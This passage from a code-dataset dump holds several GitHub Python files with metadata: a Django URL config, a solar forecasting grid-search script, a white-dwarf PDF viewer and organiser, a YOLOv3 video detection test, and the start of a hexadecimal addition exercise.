{"api_name": "django.contrib.auth.mixins", "line_number": 59, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.mixins.GroupRequiredMixin", "line_number": 59, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 59, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 59, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.clients", "line_number": 67, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 67, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.engineering", "line_number": 67, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.supervisor", "line_number": 67, "usage_type": "attribute"}, {"api_name": "maintenance_management.clients.models.ServiceReport", "line_number": 69, "usage_type": "name"}, {"api_name": "maintenance_management.clients.filters.initial_query_set_service_report_filter", "line_number": 77, "usage_type": "call"}, {"api_name": "maintenance_management.clients.filters.first_and_last_name_filter_for_service_report", "line_number": 85, "usage_type": "call"}, {"api_name": "maintenance_management.clients.filters.ServiceReportFilter", "line_number": 86, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 105, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 105, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.mixins.GroupRequiredMixin", "line_number": 105, "usage_type": "name"}, {"api_name": "django.views.generic.DetailView", "line_number": 105, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 105, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.clients", "line_number": 106, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 106, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.contractors", "line_number": 106, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.engineering", "line_number": 106, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.supervisor", "line_number": 106, "usage_type": "attribute"}, {"api_name": "maintenance_management.clients.models.ServiceReport", "line_number": 108, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.engineering", "line_number": 113, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 113, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.ServiceReport.ReportType", "line_number": 114, "usage_type": "attribute"}, {"api_name": "maintenance_management.clients.models.ServiceReport", "line_number": 114, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.supervisor", "line_number": 121, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 121, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 122, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 127, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 127, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.Review", "line_number": 134, "usage_type": "name"}, {"api_name": "maintenance_management.clients.forms.RatingSelectionFilterForm", "line_number": 155, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 162, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 162, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.mixins.GroupRequiredMixin", "line_number": 162, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 162, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 162, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.clients", "line_number": 163, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 163, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.Review", "line_number": 165, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 167, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 171, "usage_type": "call"}, {"api_name": "maintenance_management.clients.models.ServiceReport", "line_number": 171, "usage_type": "argument"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 179, "usage_type": "call"}, {"api_name": "maintenance_management.clients.models.ServiceReport", "line_number": 179, "usage_type": "argument"}, {"api_name": "django.views.generic.DetailView", "line_number": 186, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 186, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.Review", "line_number": 188, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 191, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 191, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.mixins.GroupRequiredMixin", "line_number": 191, "usage_type": "name"}, {"api_name": "django.views.generic.UpdateView", "line_number": 191, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 191, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.clients", "line_number": 192, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 192, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.Review", "line_number": 194, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 196, "usage_type": "call"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 202, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 207, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 207, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.mixins.GroupRequiredMixin", "line_number": 207, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView", "line_number": 207, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 207, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.clients", "line_number": 208, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 208, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.Review", "line_number": 210, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 211, "usage_type": "call"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 217, "usage_type": "name"}]} {"seq_id": "24849261647", "text": "from django.urls import path\nfrom . import views\n# from homepage import views as homepage_views\n\n\napp_name = 'produce'\nurlpatterns = [\n path('/list', views.list_produce, name='list'),\n path('/customer', views.customer, name='customer'),\n path('/add', views.add, name='add'),\n path('add', views.add, name='add'),\n path('/edit', views.edit, name='edit'),\n path('/delete', views.delete, name='delete'),\n]\n", "repo_name": "madushag/MyFarm", "sub_path": "app/produce/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 491, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}]} {"seq_id": "38863787744", "text": "import os\nimport json\nimport time\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import ParameterGrid\nfrom sklearn.base import clone\nfrom sklearn import preprocessing\nfrom tqdm import tqdm\n\nimport src.time_series_functions as tsf\n\n\ndef get_windowing(ts_normalized , time_window, horizon , prefix=''):\n ts_windowed = tsf.create_windowing(lag_size=(time_window + (horizon-1)), \n df=ts_normalized)\n\n columns_lag = [f'lag_{l}{prefix}'for l in reversed(range(1,time_window+1))]\n columns_horizon = [f'hor_{l}{prefix}'for l in range(1,horizon)] + ['actual']\n ts_windowed.columns= columns_lag + columns_horizon\n\n ts_windowed = ts_windowed[columns_lag+['actual']]\n return ts_windowed\n\ndef single_model(title, type_data, time_window, time_series, model, test_size,\n val_size, return_option, normalize, horizon=1, recursive=False, use_exo_future=True):\n train_size = len(time_series) - test_size\n\n is_exogen = False\n \n if time_series.shape[1]> 1:\n is_exogen = True\n exogens = time_series.drop(columns = ['actual', 'Data'], errors='ignore')\n horizon_to_use = horizon\n if recursive:\n if is_exogen:\n raise NotImplementedError('RECUSIVE IS NOT SUPPORTED WITH EXOGENS')\n horizon=1\n\n # normalize\n if normalize:\n min_max_scaler = preprocessing.MinMaxScaler()\n min_max_scaler.fit(time_series['actual'].values[0:train_size].reshape(-1, 1))\n ts_normalized = min_max_scaler.transform(time_series['actual'].values.reshape(-1, 1))\n ts_normalized = pd.DataFrame({'actual': ts_normalized.flatten()})\n\n if is_exogen:\n min_max_scaler_x = preprocessing.MinMaxScaler()\n min_max_scaler_x.fit(exogens.values[0:train_size])\n exogens_norm = min_max_scaler_x.transform(exogens)\n exogens_norm = pd.DataFrame(exogens_norm, columns=exogens.columns)\n\n else:\n ts_normalized = time_series\n if is_exogen:\n exogens_norm = exogens\n # ________________\n\n ts_windowed = get_windowing(ts_normalized , time_window, horizon)\n if is_exogen:\n exgen_windowed = pd.DataFrame()\n for c in exogens.columns:\n if use_exo_future:\n df_exogen = get_windowing(exogens_norm[c], time_window, horizon, f'_{c}')[['actual']]\n df_exogen.rename(columns={'actual':c}, inplace=True)\n else:\n df_exogen = get_windowing(exogens_norm[c], time_window, horizon, f'_{c}').drop(columns=['actual'])\n\n exgen_windowed = pd.concat([exgen_windowed, df_exogen], axis=1)\n \n ts_windowed = pd.concat([exgen_windowed, ts_windowed], axis=1)\n\n reg = tsf.fit_sklearn_model(ts_windowed, model, test_size, val_size)\n \n if recursive and (horizon_to_use>1):\n ts_windowed_test = get_windowing(ts_normalized , time_window, horizon_to_use)\n ts_windowed_test = ts_windowed_test.iloc[-(test_size+val_size+10):]\n pred = tsf.predict_sklearn_model_recursive(ts_windowed_test, reg, horizon_to_use)\n else:\n pred = tsf.predict_sklearn_model(ts_windowed, reg)\n\n if(normalize):\n pred = min_max_scaler.inverse_transform(pred.reshape(-1, 1)).flatten()\n\n ts_atu = time_series['actual']\n ts_atu = ts_atu[-len(pred):]\n\n try:\n df_prevs = model.prevs_df\n except:\n df_prevs = None\n \n results = tsf.make_metrics_avaliation(ts_atu, pred,\n test_size, val_size,\n return_option, model.get_params(deep=True),\n title + '(tw' + str(time_window) + ')', df_prevs)\n return results\n\n\n\n\ndef do_grid_search(type_data, real, test_size, val_size, parameters, model, horizon,\n recurvise, use_exegen_future, model_execs):\n\n\n best_model = None\n metric = 'RMSE'\n best_result = {'time_window':0,metric:None}\n result_type = tsf.result_options.val_result\n\n list_params=list(ParameterGrid(parameters))\n \n for params in tqdm(list_params,desc='GridSearch'):\n \n result = None\n params_actual = params.copy()\n del params_actual['time_window']\n\n forecaster = clone(model).set_params(** params_actual)\n \n result_atual = []\n for t in range(0,model_execs):\n result_atual.append(single_model('mlp',type_data, params['time_window'],real,\n forecaster,test_size,val_size,\n result_type,True, horizon, recurvise, use_exegen_future)[metric])\n\n result = np.mean(np.array(result_atual))\n\n if best_result[metric] == None:\n best_model = forecaster\n best_result[metric] = result\n best_result['time_window'] = params['time_window']\n else:\n\n if best_result[metric] > result:\n best_model = forecaster\n best_result[metric] = result\n best_result['time_window'] = params['time_window']\n\n result_model = {'best_result': best_result, 'model': best_model}\n return result_model\n\n\ndef train_sklearn(model_execs, data_title, parameters, model):\n \n config_path = './'\n save_path = './solar_rad/'\n with open(f'{config_path}models_configuration_60_20_20.json') as f:\n data = json.load(f)\n\n recurvise = False\n use_exegen_future = False\n use_log = False\n \n for i in data:\n\n if i['activate']==1:\n\n print(i['name'])\n print(i['path_data'])\n test_size=i['test_size']\n val_size=i['val_size']\n type_data = i['type_data']\n horizon = i['horzion']\n min_max = i['hour_min_max']\n\n real = tsf.load_data_solar_hours(i['path_data'], min_max, use_log, True)\n\n gs_result = do_grid_search(type_data=type_data,\n real=real,test_size=test_size,\n val_size=val_size,\n parameters=parameters,\n model=model,\n horizon=horizon, \n recurvise=recurvise,\n use_exegen_future=use_exegen_future,\n model_execs=model_execs)\n\n print(gs_result)\n save_path_actual = save_path+str(type_data)+'-'+data_title+'/'\n os.mkdir(save_path_actual)\n\n title_temp = str(type_data)+ '-' + data_title\n for _ in range(0, model_execs):\n single_model(save_path_actual+title_temp,type_data,gs_result['best_result']['time_window'],\n real, \n gs_result['model'],test_size,val_size,tsf.result_options.save_result,True, horizon,\n recurvise, use_exegen_future)\n time.sleep(1)\n", "repo_name": "domingos108/solar_forecasting", "sub_path": "src/fit_predict_models.py", "file_name": "fit_predict_models.py", "file_ext": "py", "file_size_in_byte": 7051, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "78", "api": [{"api_name": "src.time_series_functions.create_windowing", "line_number": 16, "usage_type": "call"}, {"api_name": "src.time_series_functions", "line_number": 16, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 43, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 49, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 49, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 70, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 72, "usage_type": "call"}, {"api_name": "src.time_series_functions.fit_sklearn_model", "line_number": 74, "usage_type": "call"}, {"api_name": "src.time_series_functions", "line_number": 74, "usage_type": "name"}, {"api_name": "src.time_series_functions.predict_sklearn_model_recursive", "line_number": 79, "usage_type": "call"}, {"api_name": "src.time_series_functions", "line_number": 79, "usage_type": "name"}, {"api_name": "src.time_series_functions.predict_sklearn_model", "line_number": 81, "usage_type": "call"}, {"api_name": "src.time_series_functions", "line_number": 81, "usage_type": "name"}, {"api_name": "src.time_series_functions.make_metrics_avaliation", "line_number": 94, "usage_type": "call"}, {"api_name": "src.time_series_functions", "line_number": 94, "usage_type": "name"}, {"api_name": "src.time_series_functions.result_options", "line_number": 110, "usage_type": "attribute"}, {"api_name": "src.time_series_functions", "line_number": 110, "usage_type": "name"}, {"api_name": "sklearn.model_selection.ParameterGrid", "line_number": 112, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 114, "usage_type": "call"}, {"api_name": "sklearn.base.clone", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 128, "usage_type": "call"}, {"api_name": "json.load", "line_number": 150, "usage_type": "call"}, {"api_name": "src.time_series_functions.load_data_solar_hours", "line_number": 168, "usage_type": "call"}, {"api_name": "src.time_series_functions", "line_number": 168, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 182, "usage_type": "call"}, {"api_name": "src.time_series_functions.result_options", "line_number": 188, "usage_type": "attribute"}, {"api_name": "src.time_series_functions", "line_number": 188, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 190, "usage_type": "call"}]} {"seq_id": "16435541586", "text": "#!/usr/bin/env python\nfrom __future__ import print_function, division\nimport os\nimport argparse\nimport pandas as pd\nimport subprocess\n#Dom Rowan REU 2018\n\ndesc=\"\"\"\nThree functional options: \n (1) view/comment on functions in range \n (2) select specific idx --i to view/comment \n (3) Move interesting sources directory under specific headers\n\"\"\"\n\n#View and comment on sources in range f, l+1\ndef main(f,l):\n assert(os.path.isfile(\"Output/AllData.csv\"))\n df_rank = pd.read_csv(\"Output/AllData.csv\")\n #Use the indicies on the csv \n f = f-2\n l = l-2\n for i in range(f,l+1):\n #Load in n files at a time (used to reduce pdf load time issue)\n numload = 8\n loadimages=False\n #Load images if we are at the first index \n if (i == f) & (i % numload != 0):\n upper= i+(numload-(i%numload))\n loadimages=True\n #Load images every n times (n defined by numload above)\n elif i % numload == 0:\n loadimages=True\n #If we are reaching the end of input range, go to l+1\n if (l-i)>numload:\n upper = i+numload\n else:\n upper=l+1\n #Use the upperlimit to load indicies in range\n if loadimages:\n for ii in range(i,upper):\n source = df_rank['SourceName'][ii]\n band = df_rank['Band'][ii]\n #Account for special characters\n if '[' in source:\n source = source.replace('[', \"\\[\").replace(']','\\]')\n filename = \"PDFs/{0}_{1}_combined.pdf\".format(source, \n band)\n else:\n filename = \"PDFs/{0}_{1}_combined.pdf\".format(source, \n band)\n #Open PDF\n subprocess.run(['xdg-open', filename])\n\n #Commenting options (stored after all in range run or break called)\n if str(df_rank['Comment'][i]) != 'nan':\n print(\"Current comment: \", df_rank['Comment'][i])\n\n comment = input(df_rank['SourceName'][i]+\n \" -- Enter comment to save into csv.\" +\n \"Hit enter for no comment or to keep\" +\n \"existing comment --- \")\n if comment == \"break\":\n break\n elif len(comment) != 0:\n df_rank.loc[i, 'Comment'] = comment\n\n df_rank.to_csv(\"Output/AllData.csv\", index=False)\n\n#Display specific index pdf\ndef selectidx(n, comment=True):\n assert(os.path.isfile(\"Output/AllData.csv\"))\n df_rank = pd.read_csv(\"Output/AllData.csv\")\n #Using index on csv, not innate to df\n i = n-2\n source = df_rank['SourceName'][i]\n band = df_rank['Band'][i]\n #Account for special characters\n if '[' in source:\n source = source.replace('[', \"\\[\").replace(']','\\]')\n filename = \"PDFs/{0}_{1}_combined.pdf\".format(source, band)\n else:\n filename = \"PDFs/{0}_{1}_combined.pdf\".format(source, band)\n #Open PDf\n subprocess.run(['xdg-open', filename])\n\n #Commenting Options\n if str(df_rank['Comment'][i]) != 'nan':\n print(\"Current comment: \", df_rank['Comment'][i])\n if comment:\n comment = input(\"Enter comment to save into csv. \" +\n \"Hit enter for no comment or to keep \" +\n \"existing comment --- \")\n if len(comment) != 0:\n df_rank.loc[i, 'Comment'] = comment\n \n df_rank.to_csv(\"Output/AllData.csv\", index=False)\n\ndef name(source, comment=True):\n assert(os.path.isfile(\"Output/Alldata.csv\"))\n#Add source to InterestingSources \ndef move(i):\n assert(os.path.isfile(\"Output/AllData.csv\"))\n df_rank = pd.read_csv(\"Output/AllData.csv\")\n #Using index on csv, not innate to df\n i = i-2\n source = df_rank['SourceName'][i]\n band = df_rank['Band'][i]\n #Account for special characters \n #Get pdf and csvname \n if '[' in source:\n source = source.replace('[', \"\\[\").replace(']','\\]')\n pdffilename = \"PDFs/{0}_{1}_combined.pdf\".format(source, band)\n csvfilename = \"{0}-{1}.csv\".format(source, band)\n else:\n pdffilename = \"PDFs/{0}_{1}_combined.pdf\".format(source, band)\n csvfilename = \"{0}-{1}.csv\".format(source, band)\n #User input - select object type for categorization\n objecttype = input(\"Enter category to move to: \" +\n \"Pulsator, KnownPulsator, PossiblePulsator, \" +\n \"or Eclipse --- \")\n valid_object_types = [\"Pulsator\", \n \"KnownPulsator\",\n \"PossiblePulsator\", \n \"Eclipse\"]\n if not (objecttype in valid_object_types):\n print(\"Invalid object type\")\n return\n else:\n #Check if directory exists for source ID (FUV and NUV share directory)\n if os.path.isdir(\"../InterestingSources/\"+objecttype+\"/\"+source):\n print(\"Directory already exists\")\n if not os.path.isdir(\"../InterestingSources/\"+\n objecttype+\"/\"+source+'/PDFs'):\n subprocess.run(['mkdir', '../InterestingSources/'+\n objecttype+'/'+source+'/PDFs'])\n else:\n print(\"Making directory for source\")\n subprocess.run(['mkdir', '../InterestingSources/'+\n objecttype+'/'+source])\n subprocess.run(['mkdir', '../InterestingSources/'+\n objecttype+'/'+source+'/PDFs'])\n\n #Move pdf file and csvfile\n subprocess.run(['cp', pdffilename, '../InterestingSources/'+\n objecttype+\"/\"+source+\"/PDFs/\"])\n subprocess.run(['cp', csvfilename, '../InterestingSources/'+\n objecttype+\"/\"+source+\"/\"])\n \n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description=desc)\n parser.add_argument(\"--i\", \n help=\"Select row of source to view, opening pdf in window\", \n default=None, type=int)\n parser.add_argument(\"--f\", \n help=\"If using fromtop, identify first index\", \n default=2, type=int)\n parser.add_argument(\"--l\", \n help=\"If using fromtop, identify last index\", \n default=12, type=int)\n parser.add_argument(\"--move\", \n help=\"Move file in index to Interesting sources\", \n default=None, type=int)\n parser.add_argument(\"--name\", \n help=\"Select source to view by name, opening pdf in window\", \n default=None, type=str)\n args= parser.parse_args()\n\n if args.move is not None:\n move(args.move)\n elif args.name is not None:\n name(args.name)\n elif args.i is not None:\n selectidx(args.i)\n else:\n main(args.f, args.l)\n", "repo_name": "dmrowan/WDVariability", "sub_path": "WDviewer.py", "file_name": "WDviewer.py", "file_ext": "py", "file_size_in_byte": 6893, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.isfile", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 73, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 104, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 135, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 139, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 141, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 145, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 147, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 153, "usage_type": "call"}]} {"seq_id": "19797137749", "text": "# coding: utf-8\n\n# from __future__ import division, print_function\nfrom pathlib import Path\n\nimport tensorflow as tf\nimport numpy as np\nimport argparse\nimport cv2\nimport time\nimport os\n\nfrom models_api.yolo.yolov3_tensorflow.misc_utils import parse_anchors, read_class_names\nfrom models_api.yolo.yolov3_tensorflow.nms_utils import gpu_nms\nfrom models_api.yolo.yolov3_tensorflow.plot_utils import plot_one_box\n\nfrom models_api.yolo.yolov3_tensorflow.model import yolov3\n\n\ndef process():\n parser = argparse.ArgumentParser(description=\"YOLO-V3 video test procedure.\")\n parser.add_argument(\"input_video\", type=str,\n help=\"The path of the input video.\")\n # parser.add_argument(\"--anchor_path\", type=str, default=\"./data/yolo_anchors.txt\",\n # help=\"The path of the anchor txt file.\")\n parser.add_argument(\"--new_size\", nargs='*', type=int, default=[416, 416],\n help=\"Resize the input image with `new_size`, size format: [width, height]\")\n # parser.add_argument(\"--class_name_path\", type=str, default=\"./data/coco.names\",\n # help=\"The path of the class names.\")\n # parser.add_argument(\"--restore_path\", type=str, default=\"./data/darknet_weights/yolov3.ckpt\",\n # help=\"The path of the weights to restore.\")\n args = parser.parse_args()\n\n print(f\"current dir: {os.getcwd()}\")\n\n base_dir = Path(\"d:/viktor_project/person_detection/pedestrian_detection/models/yolo_v3/tensorflow_checkpoint/\")\n print(f\"exists : {base_dir.exists()}\")\n\n anchors = parse_anchors(str(base_dir / \"yolo_anchors.txt\"))\n classes = read_class_names(str(base_dir / \"coco.names\"))\n num_class = len(classes)\n\n vid = cv2.VideoCapture(args.input_video)\n\n with tf.Session() as sess:\n input_data = tf.placeholder(tf.float32, [1, args.new_size[1], args.new_size[0], 3], name='input_data')\n yolo_model = yolov3(num_class, anchors)\n with tf.variable_scope('yolov3'):\n pred_feature_maps = yolo_model.forward(input_data, False)\n pred_boxes, pred_confs, pred_probs = yolo_model.predict(pred_feature_maps)\n\n pred_scores = pred_confs * pred_probs\n\n boxes, scores, labels = gpu_nms(pred_boxes, pred_scores, num_class, max_boxes=200, score_thresh=0.3,\n nms_thresh=0.45)\n\n saver = tf.train.Saver()\n checkpoint = base_dir / \"yolov3.ckpt\"\n saver.restore(sess, str(checkpoint))\n\n while True:\n ret, img_ori = vid.read()\n if not ret:\n break\n height_ori, width_ori = img_ori.shape[:2]\n img = cv2.resize(img_ori, tuple(args.new_size))\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n img = np.asarray(img, np.float32)\n img = img[np.newaxis, :] / 255.\n\n start_time = time.time()\n boxes_, scores_, labels_ = sess.run([boxes, scores, labels], feed_dict={input_data: img})\n end_time = time.time()\n exec_time = end_time - start_time\n print(f\"time: {(1000 * exec_time)} ms\")\n\n # rescale the coordinates to the original image\n boxes_[:, [0, 2]] *= (width_ori / float(args.new_size[0]))\n boxes_[:, [1, 3]] *= (height_ori / float(args.new_size[1]))\n\n for i in range(len(boxes_)):\n x0, y0, x1, y1 = boxes_[i]\n # plot_one_box(img_ori, [x0, y0, x1, y1], label=args.classes[labels_[i]] + ', {:.2f}%'.format(scores_[i]\n # * 100), color=color_table[labels_[i]])\n plot_one_box(img_ori, [x0, y0, x1, y1])\n # cv2.putText(img_ori, '{:.2f}ms'.format((end_time - start_time) * 1000), (40, 40), 0,\n # ontScale=1, color=(0, 255, 0), thickness=2)\n cv2.imshow('image', img_ori)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n vid.release()\n\n\nif __name__ == '__main__':\n process()\n", "repo_name": "ViktorYastrebov/person_detection", "sub_path": "pedestrian_detection/models_api/yolo/yolov3_tensorflow/video_test.py", "file_name": "video_test.py", "file_ext": "py", "file_size_in_byte": 3999, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 34, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 36, "usage_type": "call"}, {"api_name": "models_api.yolo.yolov3_tensorflow.misc_utils.parse_anchors", "line_number": 39, "usage_type": "call"}, {"api_name": "models_api.yolo.yolov3_tensorflow.misc_utils.read_class_names", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 46, "usage_type": "attribute"}, {"api_name": "models_api.yolo.yolov3_tensorflow.model.yolov3", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.variable_scope", "line_number": 48, "usage_type": "call"}, {"api_name": "models_api.yolo.yolov3_tensorflow.nms_utils.gpu_nms", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 68, "usage_type": "attribute"}, {"api_name": "numpy.newaxis", "line_number": 69, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 71, "usage_type": "call"}, {"api_name": "time.time", "line_number": 73, "usage_type": "call"}, {"api_name": "models_api.yolo.yolov3_tensorflow.plot_utils.plot_one_box", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 89, "usage_type": "call"}]} {"seq_id": "16335317564", "text": "\"\"\"\n2. Написать программу сложения и умножения двух шестнадцатеричных чисел.\nПри этом каждое число представляется как массив, элементы которого это цифры числа.\nНапример, пользователь ввёл A2 и C4F. Сохранить их как [‘A’, ‘2’] и [‘C’, ‘4’, ‘F’] соответственно.\nСумма чисел из примера: [‘C’, ‘F’, ‘1’], произведение - [‘7’, ‘C’, ‘9’, ‘F’, ‘E’].\n\"\"\"\n\nfrom collections import deque\n\n\ndef hex_add(first_num, second_num):\n hex_num = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9,\n 'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15}\n hex_num_res = {0: '0', 1: '1', 2: '2', 3: '3', 4: '4', 5: '5', 6: '6', 7: '7', 8: '8', 9: '9',\n 10: 'A', 11: 'B', 12: 'C', 13: 'D', 14: 'E', 15: 'F'}\n\n first_num = [char for char in first_num]\n second_num = [char for char in second_num]\n\n if len(first_num) > len(second_num):\n pass\n else:\n first_num, second_num = second_num, first_num\n\n # разворачиваем списки для удобного перебора значений\n first_num.reverse()\n second_num.reverse()\n # для res выбран тип данных deque в связи с удобством добавления значений слева\n res = deque()\n # transfer предназначен для учёта значения переноса с предыдущего разряда\n transfer = 0\n\n for i, el in enumerate(first_num):\n if i > len(second_num) - 1: # Случай, когда в second_num кончились цифры\n el_sum_10 = hex_num[el] + transfer\n else:\n el_sum_10 = hex_num[el] + 